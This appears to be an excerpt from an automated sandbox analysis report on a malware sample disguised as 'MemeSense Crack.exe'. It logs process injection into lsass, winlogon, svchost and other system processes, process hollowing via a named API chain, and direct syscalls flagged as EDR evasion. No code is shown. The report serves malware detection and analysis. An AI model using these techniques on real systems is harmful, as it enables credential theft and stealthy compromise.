Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 15222280000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\winlogon.exe base: 1C8F79C0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\lsass.exe base: 1BA8E9E0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 12E37060000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\dwm.exe base: 28F8B2A0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1B3B9AC0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 23368D80000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 28B69540000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 29BC8C60000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 29D51000000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 2AB7D350000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1E929FB0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1A183E60000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1D564930000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1CF6DE40000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1C255960000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 171AD290000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 283C6590000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1FF3B140000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1D500860000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 257B5D40000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1EAC6AB0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 20428DC0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 152222B0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 16D24BB0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 163535B0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 14DE2730000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1B3122B0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\spoolsv.exe base: 7A0000 protect: page execute and read and write

Contains functionality to inject code into remote processes

Source: C:\Windows\System32\dialer.exe

Code function: 34_2_00007FF724A51DB4 CreateProcessW,VirtualAllocEx,WriteProcessMemory,WriteProcessMemory,VirtualAlloc,GetThreadContext,WriteProcessMemory,SetThreadContext,ResumeThread,OpenProcess,TerminateProcess,

34_2_00007FF724A51DB4

Creates a thread in another existing process (thread injection)

Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\winlogon.exe EIP: F78F2908
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\lsass.exe EIP: 8E922908
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 36FA2908
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\dwm.exe EIP: 8B0B2908
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 35FA2908
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: B9392908
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 68CB2908
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 68F32908
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: C8192908
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 50F42908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: F7962908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 8E982908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 37002908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 8B192908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: B9A62908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 68D12908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 68F92908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: C8C02908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 50FA2908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 7D2F2908
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 297D2908
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 83792908
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 64192908
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 6D792908
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 551B2908
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: ACBC2908
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: C6532908
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 39B82908
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 192908
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: B5782908
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: C63D2908
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 28D62908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: F79C2908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 8E9E2908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 37062908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 8B2A2908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: B9AC2908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 68D82908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 69542908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: C8C62908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 51002908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 7D352908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 29FB2908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 83E62908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 64932908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 6DE42908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 55962908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: AD292908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: C6592908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 3B142908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 862908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: B5D42908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: C6AB2908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 28DC2908
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 222B2908
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 24BB2908
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 535B2908
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: E2732908
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 122B2908

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\Program Files\Microsoft\Edge\updater.exe	NtAdjustPrivilegesToken: Direct from: 0x7FF6F8E0719E
Source: C:\Users\user\AppData\Local\Temp\updater.exe	NtQuerySystemInformation: Direct from: 0x7FF701A5719E	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\updater.exe	NtQuerySystemInformation: Direct from: 0x7FF7A66B719E

Injects a PE file into a foreign processes

Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\winlogon.exe base: 1C8F78F0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\lsass.exe base: 1BA8E920000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 12E36FA0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\dwm.exe base: 28F8B0B0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 22C35FA0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1B3B9390000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 23368CB0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 28B68F30000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 29BC8190000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 29D50F40000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2AB7D2C0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\winlogon.exe base: 1C8F7960000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\lsass.exe base: 1BA8E980000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 12E37000000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\dwm.exe base: 28F8B190000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1B3B9A60000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 23368D10000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 28B68F90000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 29BC8C00000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 29D50FA0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2AB7D2F0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1E9297D0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1A183790000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1D564190000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1CF6D790000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1C2551B0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 171ACBC0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 283C6530000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1FF39B80000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1D500190000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 257B5780000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1EAC63D0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 20428D60000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 15222280000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\winlogon.exe base: 1C8F79C0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\lsass.exe base: 1BA8E9E0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 12E37060000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\dwm.exe base: 28F8B2A0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1B3B9AC0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 23368D80000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 28B69540000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 29BC8C60000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 29D51000000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2AB7D350000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1E929FB0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1A183E60000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1D564930000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1CF6DE40000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1C255960000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 171AD290000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 283C6590000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1FF3B140000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1D500860000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 257B5D40000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1EAC6AB0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 20428DC0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 152222B0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 16D24BB0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 163535B0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 14DE2730000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1B3122B0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\spoolsv.exe base: 7A0000 value starts with: 4D5A

Maps a DLL or memory area into another process

Source: C:\Users\user\AppData\Local\Temp\updater.exe	Section loaded: NULL target: C:\Windows\System32\dialer.exe protection: readonly	Jump to behavior
Source: C:\Program Files\Microsoft\Edge\updater.exe	Section loaded: NULL target: C:\Windows\System32\dialer.exe protection: readonly
Source: C:\Program Files\Microsoft\Edge\updater.exe	Section loaded: NULL target: C:\Windows\System32\dialer.exe protection: readonly
Source: C:\Program Files\Microsoft\Edge\updater.exe	Section loaded: NULL target: C:\Windows\System32\dialer.exe protection: readonly
Source: C:\Users\user\AppData\Local\Temp\updater.exe	Section loaded: NULL target: C:\Windows\System32\dialer.exe protection: readonly

Modifies the context of a thread in another process (thread injection)

Source: C:\Users\user\AppData\Local\Temp\updater.exe	Thread register set: target process: 2092	Jump to behavior
Source: C:\Program Files\Microsoft\Edge\updater.exe	Thread register set: target process: 3432
Source: C:\Program Files\Microsoft\Edge\updater.exe	Thread register set: target process: 6360
Source: C:\Program Files\Microsoft\Edge\updater.exe	Thread register set: target process: 3320
Source: C:\Users\user\AppData\Local\Temp\updater.exe	Thread register set: target process: 1796

Writes to foreign memory regions

Source: C:\Users\user\AppData\Local\Temp\updater.exe	Memory written: C:\Windows\System32\dialer.exe base: CED4472010	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\winlogon.exe base: 1C8F78F0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\lsass.exe base: 1BA8E920000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 12E36FA0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\dwm.exe base: 28F8B0B0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 22C35FA0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1B3B9390000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 23368CB0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 28B68F30000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 29BC8190000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 29D50F40000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2AB7D2C0000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\svchost.exe base: 23F7BB90000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\svchost.exe base: 23F7BB90000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\svchost.exe base: 23F7BB90000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\svchost.exe base: 23F7BB90000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\svchost.exe base: 23F7BB90000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\svchost.exe base: 23F7BB90000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\svchost.exe base: 23F7BB90000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\svchost.exe base: 23F7BB90000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\svchost.exe base: 23F7BB90000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\svchost.exe base: 23F7BB90000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\svchost.exe base: 23F7BB90000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\svchost.exe base: 247961A0000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\svchost.exe base: 247961A0000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\svchost.exe base: 247961A0000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\svchost.exe base: 247961A0000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\svchost.exe base: 247961A0000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\svchost.exe base: 247961A0000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\svchost.exe base: 247961A0000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\svchost.exe base: 247961A0000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\svchost.exe base: 247961A0000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\svchost.exe base: 247961A0000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\svchost.exe base: 247961A0000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\svchost.exe base: 24796740000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Program Files\Windows Defender\MpCmdRun.exe base: 17D27A80000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\ImmersiveControlPanel\SystemSettings.exe base: 27998D00000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\ImmersiveControlPanel\SystemSettings.exe base: 27998D00000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\ImmersiveControlPanel\SystemSettings.exe base: 27998D00000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\ImmersiveControlPanel\SystemSettings.exe base: 27998D00000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\ImmersiveControlPanel\SystemSettings.exe base: 27998D00000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\ImmersiveControlPanel\SystemSettings.exe base: 27998D00000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\ImmersiveControlPanel\SystemSettings.exe base: 27998D00000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\ImmersiveControlPanel\SystemSettings.exe base: 27998D00000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\ImmersiveControlPanel\SystemSettings.exe base: 27998D00000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\ImmersiveControlPanel\SystemSettings.exe base: 27998D00000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\ImmersiveControlPanel\SystemSettings.exe base: 27998D00000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\dwm.exe base: 28F8B200000
Source: C:\Program Files\Microsoft\Edge\updater.exe	Memory written: C:\Windows\System32\dialer.exe base: 197C94B010
Source: C:\Program Files\Microsoft\Edge\updater.exe	Memory written: C:\Windows\System32\dialer.exe base: 4058E94010
Source: C:\Program Files\Microsoft\Edge\updater.exe	Memory written: C:\Windows\System32\dialer.exe base: B98F595010
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\winlogon.exe base: 1C8F7960000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\lsass.exe base: 1BA8E980000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 12E37000000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\dwm.exe base: 28F8B190000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1B3B9A60000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 23368D10000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 28B68F90000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 29BC8C00000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 29D50FA0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2AB7D2F0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1E9297D0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1A183790000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1D564190000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1CF6D790000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1C2551B0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 171ACBC0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 283C6530000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1FF39B80000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1D500190000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 257B5780000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1EAC63D0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 20428D60000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 15222280000
Source: C:\Users\user\AppData\Local\Temp\updater.exe	Memory written: C:\Windows\System32\dialer.exe base: 5542597010
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\winlogon.exe base: 1C8F79C0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\lsass.exe base: 1BA8E9E0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 12E37060000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\dwm.exe base: 28F8B2A0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1B3B9AC0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 23368D80000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 28B69540000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 29BC8C60000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 29D51000000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2AB7D350000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1E929FB0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1A183E60000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1D564930000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1CF6DE40000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1C255960000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 171AD290000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 283C6590000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1FF3B140000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1D500860000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 257B5D40000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1EAC6AB0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 20428DC0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 152222B0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 16D24BB0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 163535B0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 14DE2730000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1B3122B0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\spoolsv.exe base: 7A0000

Source: C:\Users\user\Desktop\meme crack\MemeSense Crack.exe	Process created: C:\Users\user\AppData\Local\Temp\cli_gui.exe "C:\Users\user\AppData\Local\Temp\cli_gui.exe"	Jump to behavior
Source: C:\Users\user\Desktop\meme crack\MemeSense Crack.exe	Process created: C:\Users\user\AppData\Local\Temp\updater.exe "C:\Users\user\AppData\Local\Temp\updater.exe"	Jump to behavior
